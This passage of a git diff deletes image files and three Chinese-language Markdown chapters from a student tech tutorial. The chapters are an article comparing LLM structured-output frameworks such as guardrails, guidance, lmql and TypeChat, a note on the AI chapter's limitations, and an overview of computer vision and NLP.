b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/sources.png deleted file mode 100644 index 167a452..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/sources.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/ubuntu-ppa.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/ubuntu-ppa.png deleted file mode 100644 index e49542f..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/ubuntu-ppa.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/uos-3.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/uos-3.png deleted file mode 100644 index 415decf..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/uos-3.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/uos-4.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/uos-4.png deleted file mode 100644 index 984e97a..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/uos-4.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/uos-troll.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/uos-troll.png deleted file mode 100644 index 3f84071..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/uos-troll.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing1.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing1.png deleted file mode 100644 index 3ca295e..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing1.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing10.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing10.png deleted file mode 100644 index dcbe21e..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing10.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing11.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing11.png deleted file mode 100644 index 66669fd..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing11.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing12.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing12.png deleted file mode 100644 index b42a57f..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing12.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing13.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing13.png deleted file mode 100644 index 7117c9b..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing13.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing14.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing14.png deleted file mode 100644 index cd560d0..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing14.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing15.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing15.png deleted file mode 100644 index e420745..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing15.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing2.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing2.png deleted file mode 100644 index 4b493d4..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing2.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing3.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing3.png deleted file mode 100644 index ae08cd1..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing3.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing4.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing4.png deleted file mode 100644 index 3d92f8a..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing4.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing5.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing5.png deleted file mode 100644 index 20984ad..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing5.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing6.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing6.png deleted file mode 100644 index f6679b2..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing6.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing7.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing7.png deleted file mode 100644 index 1fafd95..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing7.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing8.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing8.png deleted file mode 100644 index 7b35282..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing8.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing9.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing9.png deleted file mode 100644 index e9642e9..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/wenjing9.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/windows-single-user.jpeg b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/windows-single-user.jpeg deleted file mode 100644 index 9af0d8e..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/windows-single-user.jpeg and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.10LLMAgent之结构化输出.md b/技术资源汇总(杭电支持版)/4.人工智能/4.10LLMAgent之结构化输出.md deleted file mode 100644 index 4cf3a32..0000000 --- a/技术资源汇总(杭电支持版)/4.人工智能/4.10LLMAgent之结构化输出.md +++ /dev/null @@ -1,262 +0,0 @@ -# LLM Agent 之结构化输出 - -author:Marlene - -*Last revised 2023/07/26* - -## 引言 - -自去年年底以来,GPT 的迅速发展诞生了一系列大模型。出现了更新、更大、更强的 GPT-4。OpenAI 不断推出 GPT-4,ChatGPT Plugins,代码解释器,Function calling,图片处理等等。7 月的 WAIC 上,笔者也有幸见到了国内一众企业相继展示自家的大模型。在这段时间里,LLM 从最初的 PE 工程走向智能体交互。而笔者从最开始考虑 LLM 能不能多人协作,思考”一个专家完成所有任务好还是很多人分工完成好“,到各种论文层出不穷,到如今火热的 LLM Agent 开发模式。可以说,如果你从大学里随便问某个人都知道 GPT,甚至大部分都用过。 - -好了,前言少叙。进入正题。众所周知,Agent 基本= LLM(大型语言模型)+ 记忆 + 规划技能 + 工具使用。 - -想要使用工具,让 GPT 掌握如何使用工具,常见的方法是告知 GPT 工具(通常是一个可以调用的函数)的参数,让 GPT 生成这些参数即可。那么如何让 GPT 可靠的生成这些规定的参数呢?换一种说法,如何让 GPT 输出结构化的数据信息呢? - -## 原理及相关框架 - -现如今大部分的结构化输出工具的原理都是:告诉 GPT 要输出一个怎么样的结构即可。没错~当然,为什么会出现这么多开发工具都用来解决这个问题,明明是一个简单的原理呢? - -```txt -1. 通过 prompt 告知 LLM 我们所需要的返回格式,并进行生成。 -2. 通过一些规则来检查返回结果,如果不符合格式,生成相关错误信息。 -3. 将上一次的生成内容和检查的错误信息告知 LLM,进行下一次的修正生成。 -4. 重复 2-3 步骤,直到生成的内容完全符合我们的要求。 -``` - -首先,关于怎样描述这样一个结构的 prompt 模板,众口难调。有些人认为结构就应该用自然语言描述,这样足够简单,上手难度足够低,方便快速迭代开发。有些人认为结构描述?JSON Schema 不就够了?有些人觉得 YAML 也可以。有些人觉得上面这些对于我的需求还是够不着啊,于是自己造了一个伪代码描述。 -其次,自动处理修正机制也可以做很多文章。还有许多对性能和开销的优化。 -下文就是关于一众框架的简单分析。希望会对选择困难症的你有所帮助。 - -### **guardrails** - -guardrails 这个项目,就是将上述的步骤做了进一步的抽象与封装,提供更加 high level 的配置与 API 来完成整个过程。 -优点: - -1. 定义了一套 RAIL spec -2. 更聚焦于错误信息 - -```markdown - - - - - - - - - - - - - - - - - - - - - - - -Given the following doctor's notes about a patient, please extract a dictionary that contains the patient's information. - -{{doctors_notes}} - -@complete_json_suffix_v2 - - -``` - -可以看到,guardrails 定义了一套类似 xml 的语言用于结构化输出,又结合了自然语言的 prompt。虽然比起常见的模板语言要更加“繁琐”,但可以包含的内容也可以更加完善。比如可以提供字段的描述信息,检查规范,一定程度上也能帮助 LLM 更好地理解需求,生成预期的结果。 - -```markdown -I was given the following JSON response, which had problems due to incorrect values. - -{ - "patient_info": { - "symptoms": [ - { - "affected area": { - "incorrect_value": "face & hair", - "error_message": "Value face & hair is not in choices ['head', 'neck', 'chest']." - } - }, - { - "affected area": { - "incorrect_value": "beard, eyebrows & nares", - "error_message": "Value beard, eyebrows & nares is not in choices ['head', 'neck', 'chest']." - } - } - ] - } -} - -Help me correct the incorrect values based on the given error messages. -``` - -后续 LLM 的返回可以仅针对这部分问题的修正,而不需要再重复生成整个 json。生成的新结果会由 guardrails 再自动填写回原来的位置,非常丝滑。除了 json 格式的检查外,RAIL spec 中还提供了通过脚本检查的扩展支持,可以用来检查更加复杂的内容,例如 Python 代码是否合法,结果中是否有敏感信息,甚至通过 LLM 再来检查生成的内容是否有害,做结果过滤等。 - -### **NeMo-Guardrails** - -来自 Nvidia 的一个同名项目,其目标相比 guardrails 更有野心,想要确保 LLM 应用整体的可信度,无害性以及数据安全性等,而不仅仅只是输出的结构化检查和修复。因此其实现思路上也复杂不少,设计了一种专门的 Colang 语言,来支持更加通用多样的业务流,而不仅仅是生成 -> 检查 -> 修复。不过它的设计都是基于对话做的。实际开发应用可能不太合适。 - -```markdown -define user ask capabilities - "What can you do?" - "What can you help me with?" - "tell me what you can do" - "tell me about you" - "How can I use your help?" - -define flow - user ask capabilities - bot inform capabilities - -define bot inform capabilities - "I am an AI assistant which helps answer questions based on a given knowledge base. For this interaction, I can answer question based on the job report published by US Bureau of Labor Statistics." -``` - -从代码可以看出其结合了 python 和自然语言,方便相似度检索。 -其整体的运作流程如下: - -1. 根据用户输入识别用户意图。在这一步,系统会将用户的输入在 flow 定义的各种用户回复文本中做相似性查找,也就是上面文件中“What can you do?”这一连串内容。这些检索到的预设用户意图内容,结合其它信息如对话样例,最近聊天记录等,形成整体的 prompt,发给 LLM 来生成回复。最终再从回复中提取用户意图。 -2. 根据意图,判断下一步操作动作。这一步有两种做法,一是当前的状态能够匹配上预定义的 flow。例如用户就是提了一个 bot 能力的问题,那么就会匹配上面定义的 user ask capabilities,下一步动作自然就是 bot inform capabilities。如果没有匹配上,就要由 LLM 自己来决定下一步动作,这时候也会跟生成用户意图一样,对于 flow 定义做一个相似性查找,将相关信息发给 LLM 来做生成。 -3. 生成 bot 回复。如果上一步生成的 bot 回复意图已经有明确定义了(例如上面的 bot 能力的回复),那么就直接用预定义的回复内容来回复用户。如果没有,就跟生成用户意图一样,做意图的相似性查找,将相关信息给 LLM 来生成回复。注意到很多动态的问题例如 QA 场景,是很难预先定义好回复内容的,这里也支持对接知识库,同样是做 vector search 之后,将相关 context 信息发给 LLM 来生成具体回复。 - -### guidance - -之前在 guardrails 中的做法是在 prompt 中给出说明和示范,希望 LLM 能够遵循指令来输出。但现实中往往会出现各种问题,例如额外带了一些其它的文字说明,或者生成的 json 格式不正确等,所以需要后续的 ReAsk 来进行修正。LangChain 里也提供了各种 output parser 来帮忙提取回复中的结构化信息部分,但也经常容易运行失败。 - -在 guidance 中,也是通过“模板语言”来定义 LLM 的输出结构,以确保输出格式的正确性。 - -```markdown -# load a model locally (we use LLaMA here) -guidance.llm = guidance.llms.Transformers("your_local_path/llama-7b", device=0) - -# we can pre-define valid option sets -valid_weapons = ["sword", "axe", "mace", "spear", "bow", "crossbow"] - -# define the prompt -program = guidance("""The following is a character profile for an RPG game in JSON format. -json -{ - "description": "{{description}}", - "name": "{{gen 'name'}}", - "age": {{gen 'age' pattern='[0-9]+' stop=','}}, - "armor": "{{#select 'armor'}}leather{{or}}chainmail{{or}}plate{{/select}}", - "weapon": "{{select 'weapon' options=valid_weapons}}", - "class": "{{gen 'class'}}", - "mantra": "{{gen 'mantra'}}", - "strength": {{gen 'strength' pattern='[0-9]+' stop=','}}, - "items": [{{#geneach 'items' num_iterations=3}} - "{{gen 'this'}}",{{/geneach}} - ] -}""") - -# execute the prompt -program(description="A quick and nimble fighter.", valid_weapons=valid_weapons) -``` - -在之前传统的做法中,这一整个 json 都需要由 LLM 来生成。但是 json 的结构是我们预先定义的,例如有哪些字段,开闭的花括号等,其实都不需要 LLM 来生成。 -优点: - -1. 生成的 json 结构是保证合法且可控的,不会出现语法错误或者缺失/错误字段等。 -2. 通过 LLM 生成的 token 数量减少了,理论上可以提升生成速度。 - -除了 prompt 模板,它还提供了: - -- 支持 hidden block,例如 LLM 的一些推理过程可能并不需要暴露给最终用户,就可以灵活利用这个特性来生成一些中间结果。 -- Generation caching,自动把已经生成过的结果缓存起来,提升速度。 -- 支持 HuggingFace 模型的 guidance acceleration,进一步提升生成速度。 -- Token healing,不看这个我还不知道 LLM 有这种问题…… -- Regex pattern guide,在模板的基础上进一步通过正则表达来限定生成的内容规范。 - -从项目代码来看,还是有比较浓的“research 味道”的,可读性并不好。实际测试结果也比较翻车。 - -### lmql - -在 guidance 的基础上,lmql 这个项目进一步把“prompt 模板”这个概念推进到了一种新的编程语言。从官网能看到给出的一系列示例。语法结构看起来有点像 SQL,但函数与缩进都是 Python 的风格。 -![](https://marlene-1254110372.cos.ap-shanghai.myqcloud.com/blog/%7B92E71406-7249-4345-894C-AC646F47D05A%7D.png) -从支持的功能来看,相比 guidance 毫不逊色。例如各种限制条件,代码调用,各种 caching 加速,工具集成等基本都具备。这个框架的格式化输出是其次,其各种可控的输出及语言本身或许更值得关注。 - -### TypeChat - -TypeChat 将 prompt 工程替换为 schema 工程:无需编写非结构化的自然语言 prompt 来描述所需输出的格式,而是编写 TS 类型定义。TypeChat 可以帮助 LLM 以 JSON 的形式响应,并且响应结果非常合理:例如用户要求将这句话「我可以要一份蓝莓松饼和一杯特级拿铁咖啡吗?」转化成 JSON 格式,TypeChat 响应结果如下: -![](https://marlene-1254110372.cos.ap-shanghai.myqcloud.com/blog/%7BECFBBC78-BFE8-45d0-99EF-5E13E30E2A18%7D.png) -其本质原理是把 interface 之类的 ts 代码作为 prompt 模板。因此它不仅可以对输出结果进行 ts 校验,甚至能够输入注释描述,不可谓非常方便 js 开发者。不过,近日 typechat 爆火,很多开发者企图尝试将 typechat 移植到 python,笔者认为这是缘木求鱼,因为其校验本身依赖的是 ts。笔者在开发过程中,将 typechat 融合到自己的库中,效果不错。但是它本身自带的 prompt 和笔者输入的 prompt 还是存在冲突,还是需要扣扣源码。 - -### Langchain - -如果你关注了过去几个月中人工智能的爆炸式发展,那你大概率听说过 LangChain。简单来说,LangChain 是一个 Python 和 JavaScript 库,由 Harrison Chase 开发,用于连接 OpenAI 的 GPT API(后续已扩展到更多模型)以生成人工智能文本。 - -langchain 具有特别多的结构化输出工具。例如使用 yaml 定义 Schema,输出结构化 JSON。使用 zodSchema 定义 Schema,输出结构化 JSON。使用 FunctionParameters 定义 Schema,输出结构化 JSON。 - -但是笔者这里不打算介绍 langchain。究其原因,是笔者被 langchain 折磨不堪。明明可以几行代码写清楚的东西,langchain 可以各种封装,花了好几十行才写出来。更何况,笔者是用 ts 开发,开发时甚至偷不了任何懒,甚至其文档丝毫不友好。这几天,《机器之心》发布文章表示放弃 langchain。要想让 LangChain 做笔者想让它做的事,就必须花大力气破解它,这将造成大量的技术负担。因为使用人工智能本身就需要花费足够的脑力。LangChain 是为数不多的在大多数常用情况下都会增加开销的软件之一。所以笔者建议非必要,不使用 langchain。 - -## LLM 对于结构化信息的理解 - -LLM 的可控性、稳定性、事实性、安全性等问题是推进企业级应用中非常关键的问题,上面分享的这些项目都是在这方面做了很多探索,也有很多值得借鉴的地方。总体思路上来说,主要是: - -- 提供一套 prompt 模板定义,允许用户指定 LLM 生成的格式或内容主题。 -- 在模板基础上,也有不少项目进一步设计了相应的编程语言,让 LLM 与确定性程序的交互更加直观。 -- 提供各类 validator,保证生成内容符合预期,并且提供了自动处理/修正机制。 -- 更进一步,也可以在生成前进行干预,例如在 prompt 中给近似案例,修改模型 decode 时的概率分布等。 -- 其它在可控性基础上做的各种性能与开销的优化,例如缓存,减少 token 消耗量,对开源模型能力的挖掘等。 - -即使我们不直接使用上述的项目做开发,也可以从中学习到很多有用的思路。当然也非常期待这个领域出现更多有意思的想法与研究,以及 prompt 与编程语言结合能否碰撞出更多的火花。 - -同时笔者认为自动处理机制、自己设计的编程语言等等内容,随着时间发展,一定会层出不穷,不断迭代更新。笔者抛去这些时效性较弱的内容,从描述信息和位置信息两方面思考 peompt 模板该如何设计,当然只是浅浅的抛砖引玉一下。 - -### 描述信息 - -到底哪种方式更容易于 LLM 去理解?我们不谈框架的设计,只考虑 prompt 的设计。上述框架关于这方面有一些参考,例如有些直接拿 json 作为 prompt 模板,有些拿 xml 作为 prompt 模板,有些拿自己设计的语言作为 prompt,有些拿自然语言作为 prompt 模板。时至今日,选用哪种最适合 LLM 去理解格式化的信息,输出格式化的内容完全没有盖棺定论。甚至时至今日,格式化输出问题还是没有得到可靠稳定的解决,要不然笔者肯定不会介绍这么多框架实践了。 - -笔者认为不管哪种方式,都可以从两个方面考量:更简单,更结构。如果想要在开发的时候更简单,或者在使用时更简单,选择 md、yaml 方式描述结构化信息更合适。如果想要更结构化的方式,选择 json、xml、ts,输出都能更有结构,甚至之后做结构校验都更方便。 - -想要 LLM 结构化输出更加稳定和理想,笔者认为选择 prompt 模板时必须考虑每个字段是否有足够的辅助信息。例如 xml 描述时,每个标签都有一个描述属性描述这个标签时什么意思。 - -#### 额外引申 - -笔者之前在开发 LLM 应用时,也曾思考类似的问题。笔者需要将多模态的数据进行结构化的标注,方便 LLM 去理解。但是标注成什么样却是一个很大的难题。笔者选择的是 JSON。但是,关于里面许多内容的标注。笔者在众多方案中徘徊。在细节处深挖,如何设计一种既简单,又能表示各种结构复杂关系,还能够节约 token 的方案及其的难。 -> 关于后续如何解决,请容笔者卖个关子 sai~ - -### 位置信息 - -是否有人注意到 llm 对于关键信息在 prompt 中的位置会对结果产生影响呢?在设计 prompt 方面,人们通常建议为语言模型提供详尽的任务描述和背景信息。近期的一些语言模型有能力输入较长的上下文,但它究竟能多好地利用更长的上下文?这一点却相对少有人知。近日,有学者研究发现如果上下文太长,语言模型会更关注其中的前后部分,中间部分却几乎被略过不看,导致模型难以找到放在输入上下文中部的相关信息。下文部分是该论文一些核心内容: -![](https://marlene-1254110372.cos.ap-shanghai.myqcloud.com/blog/%7B59E03114-A066-4394-B1F0-B09357F76B39%7D.png) -这是由其本身训练和结构设计有关的,但却对于我们开发有着莫大的帮助和指导意义。 -![](https://marlene-1254110372.cos.ap-shanghai.myqcloud.com/blog/%7B9EA47A4E-3EF3-4800-99F4-109EE713746B%7D.png) -相比之下,在多文档问答任务上,查询感知型上下文化的影响很小。特别指出,当相关信息位于输入上下文的最开始时,它可以提高性能,但在其他设置中会稍微降低性能。借此,我们可以认为,将重要的信息放在开头,结尾放置结构化模板,或许是一种优质选择。 - -那么如果真的为其提供这么多 token,那会真的有用吗?这个问题的答案是:由下游任务决定。因为这取决于所添加上下文的边际价值以及模型有效使用长输入上下文的能力。所以如果能有效地对检索文档排序(让相关信息与输入上下文的起始处更近)或对已排序的列表进行截断处理(必要时返回更少的文档),那么也许可以提升基于语言模型的阅读器使用检索上下文的能力。 - -## 题外话 - -之前,妙鸭相机突然爆火。其只需 9.9 即可生成同款数字分身,效果拔群。但是很多人发现,其生成的内容极其容易造成肖像权侵犯,这显然是有问题的。更有甚至的是,用户发现妙鸭相机的用户协议存在问题。根据该应用最初版本的用户服务协议,用户需授权妙鸭相机在全世界(包括元宇宙等虚拟空间)范围内享有永久的、不可撤销的、可转让的、可转授权的、免费的和非独家的许可,使得妙鸭相机可以任何形式、任何媒体或技术(无论现在已知或以后开发)使用用户的内容。对于上述内容,妙鸭相机称系“为了使我方能够提供、确保和改进本服务(包括但不限于使用 AI 生成内容作为再训练数据等)”。 - -一句话理解,就是你的肖像它随便用,与你无关。 - -这不禁让我联想到一部非常发人深省的剧作:《黑镜》。它的第六季第一集讲述的同样是隐私的问题。该集中,主人公的生活隐私由于同意了用户协议,被无时无刻搜集。然后当天晚上就发现流媒体电视上居然出现了跟她同名的电视剧,内容与它当天的生活一模一样,台词甚至更加夸张。于是她的不方便公之于众的生活变得一塌涂地,但她甚至没有办法打官司,因为肯定会输。更令人深省的是,电视剧的主人公是 AI 生成的视频,其肖像确是根据现实存在的明星生成的。那位明星也无法对她的肖像有任何权利。这样一个荒诞的故事,但是仔细想想,却又非常可能发生。 - -如今的社会出现了各种大模型。大模型的发展必定需要大数据的支撑。企业为了盈利必定会想方设法的搜集数据,然后肆意使用,转卖。而很多用户对此不自知,更有甚至是非常乐意。例如抖音、B 站,当你对其交互时,你希望它推荐更适合你的视频,它也在搜集你的数据,这是明知且主动的。 - -隐私的掠夺是无声的。你认为你的一下点击是没啥价值的隐私数据,殊不知这正中了资本家的下怀。几年前,我也是这样的。高中的大门出现了闸机,可以刷脸进校园。我当时以为这需要像手机解锁一样需要扫描人脸 ID。结果发现,我可以直接进去,闸机上甚至会出现我的照片。我仔细看了看,发现是我入学的证件照。原来一张照片就能刷脸进校园。原来就连学校也可以不经同学同意,将照片用作其他用途。那更何况其他的呢。 -我想,未来,这样的隐私问题会越来越多。 - -## 参考 - - - - - diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.11本章节内容的局限性.md b/技术资源汇总(杭电支持版)/4.人工智能/4.11本章节内容的局限性.md deleted file mode 100644 index 8c109e0..0000000 --- a/技术资源汇总(杭电支持版)/4.人工智能/4.11本章节内容的局限性.md +++ /dev/null @@ -1,66 +0,0 @@ -# 本章节内容的局限性 - -作为一个本科生和部分研究生为主书写的教程,必须承认的是,我们在本章节内容,存在非常多的局限性,而本节内容,就是对目前存在的局限性和为什么还没有立马改进做的一定解释。 - -## 缺少一些前沿的内容 - -让我们时时刻刻都跟进最前沿的内容并且进行输出是相当困难的,当然我们也欢迎各位得贡献 - -## 少有机器学习的一些算法 - -机器学习领域有非常庞大的知识体系和一代人十几年的积累。 - -无数伟大的科学家究其一生的研究和探索它,但是你发现本章内容少有相关内容,还是以深度学习为主?为什么? - -## 原因一:时代的浪潮 - -近乎全民深度学习的浪潮下,机器学习的知识被科研界一而再再而三的抛掷脑后,大家争先恐后的刷点,并使用深度学习的解决问题,因此深度学习领域的知识材料得到了井喷式的增长,而少有人愿意投入非常长的时间去研究机器学习的每一条数学公式的背后机理。 - -也正因如此,诸位花费自己的大学四年时光去钻研几条算法兴许是有意义的,但是对你拓展视野增长知识面的帮助没那么大,也没有办法帮助你引导到一些实操项目的工作中去,因此除了真正热爱的那一批人以外,过多的投入时间去学机器学习知识可能会让你感觉患得患失最后半途而废。 - -## 原因二:算法的性质 - -算法的性质就是严谨,一丝不苟的推导。因此,他涉及了大量的数学方程以及严谨的一步一步的推导过程。在学习的过程中,没有捷径,也没有更快的方法,你只能踏踏实实一步一步的进行积累。 - -而本教程的性质更偏向于导学,当你决心在机器学习算法深耕的时候,你已经脱离了需要导学的范畴更偏向于领域内容钻研,这是一项伟大的但是在当今时代略有吃力不讨好的工作,我真心祝愿你能乐在其中~感受到学习的快乐。 - -## 原因三:缺乏应用空间 - -ZZM 曾经尝试过投入大量时间去钻研数学以及机器学习相关的算法,但是发现了一个很残酷的现实就是,我们欠缺的积累和知识不是靠猛然突击可以弥补的,自己学都很吃力了,写出来不是误人子弟么 hhhh。 - -同时,尽管知识的内容让人很快乐,但是如果你不经常使用,或者实打实的拿一张白纸从头到尾推演一遍的话,你忘记的速度是非常快的,因此我们写下他,你们看一遍甚至说认真的阅览一遍,也不会留下太多内容。 - -## 如果真的感兴趣这方面内容呢 - -如果你阅览了本章节的数学相关知识和内容以及拓展感觉非常感兴趣并且毫无压力的话,我推荐你尝试去啃一啃大家公认的困难的书籍,比如说著名的花书,互联网上,社区内也有大量的辅助材料来帮助你更进一步的入门 - -## 科研导向明显 - -整篇教程大范围的在教怎么从科研角度去理解一些知识,感觉和工业上的逻有不符之处。 - -确实如此,工业界的逻辑和科研界的逻辑是截然不同的。 - -工业界的逻辑更偏向于低成本,高产出。而科研更偏向于你在一个好故事的背景下做了如何优雅的提升。 - -粗鲁地说就是工业更注重你这个项目,如果现在有一百万人用,能不能把百分之九十正确率的这个东西用好,科研更偏向于九十五到九十九。 - -我们自身并没有接触过太多的工业项目,也无法深入大厂去揭示他的算法,自然就算写东西写出来也不具备任何说服力。 - -因此如果你对这方面感兴趣,可能你需要别的途径去获取更多的思考和资源了。 - -## 繁杂的知识内容 - -这点非常抱歉,AI 领域的知识本身就是网状的,复杂的,甚至是互相引用的,这点会导致不可避免的内容变得冗长。 - -可能需要你花费大量的时间建立自己的知识框架和逻辑体系 - -而不是别人强行灌输给你的 - -## 还有更多??? - -联系 ZZM,我努力改 -::: tip 邮箱 -<1264517821@qq.com> -::: - - diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.1前言.md b/技术资源汇总(杭电支持版)/4.人工智能/4.1前言.md deleted file mode 100644 index a4de902..0000000 --- a/技术资源汇总(杭电支持版)/4.人工智能/4.1前言.md +++ /dev/null @@ -1,99 +0,0 @@ -# 对 AI 大致方向的概述 - -## 前言 - -在这个时代,相关内容是非常泛滥的,我们在本章内容中,大致的写一些目前比较有名的方向以及它的简介(也许会比 wiki 和百度有趣一点?) - -## 深度学习 的大致方向分类 - -本模块会粗略地介绍目前审读学习的研究与应用领域,在这里提前说明:笔者也只是一名普通的杭电学生,视野与认知有限,某些领域我们了解较多就会介绍地更加详细,某些领域了解较少或笔者中无人从事相关研究,就难免会简略介绍甚至有所偏颇,欢迎大家的指正。 - -### CV(计算机视觉) - -计算机视觉旨在**用计算机模拟人类处理图片信息的能力**,就比如这里有一张图片——手写数字 9 - -![](https://cdn.xyxsw.site/boxcnvQiaAx6WgPx64s8fBklVwh.png) - -对我们人类而言,能够很轻松地知道这张图片中包含的信息(数字 9),而对计算机来说这只是一堆像素。计算机视觉的任务就是让计算机能够从这堆像素中得到‘数字 9’这个信息。 - -相信你通过上面简单的介绍应该能够了解到计算机视觉是在干嘛了,接下来我会举几个相对复杂的例子来让大家了解一下目前的 cv 是在做怎样的研究: - -::: warning 🐱 **图像分割**是在图片中对物体分类,并且把它们所对应的位置标示出来。下图就是把人的五官,面部皮肤和头发分割出来,效 (小) 果 (丑) 图如下: -::: - - - - - - - -
- -::: warning 🐱 **图像生成**相信大家一定不陌生,NovalAI 在 2022 年火的一塌糊涂,我觉得不需要我过多赘述,对它 (Diffusion model) 的改进工作也是层出不穷,这里就放一张由可控姿势网络 (ControlNet) 生成的图片吧: -::: - -![](https://cdn.xyxsw.site/boxcnUjnRociXua1yKj6dmU1A3c.png) - -::: warning 🐱 **三维重建**也是很多研究者关注的方向,指的是传入对同一物体不同视角的照片,来生成 3D 建模的任务。这方面比图像处理更加前沿并且难度更大。具体见[4.6.5.4 神经辐射场 (NeRF)](4.6.5.4%E7%A5%9E%E7%BB%8F%E8%BE%90%E5%B0%84%E5%9C%BA(NeRF).md) 章节。 -::: - -如果对计算机视觉有兴趣,可以通过以下路线进行学习:深度学习快速入门—> 经典网络。本块内容的主要撰写者之一**SRT 社团**多数成员主要从事 CV 方向研究,欢迎与我们交流。 - -### NLP(自然语言处理) - -这就更好理解了,让计算机能够像人类一样,理解文本中的“真正含义”。在计算机眼中,文本就是单纯的字符串,NLP 的工作就是把字符转换为计算机可理解的数据。举个例子,ChatGPT(或者 New Bing) 都是 NLP 的成果。在过去,NLP 领域被细分为了多个小任务,比如文本情感分析、关键段落提取等。而 ChatGPT 的出现可以说是集几乎所有小任务于大成,接下来 NLP 方向的工作会向 ChatGPT 的方向靠近。 - - - - - - -
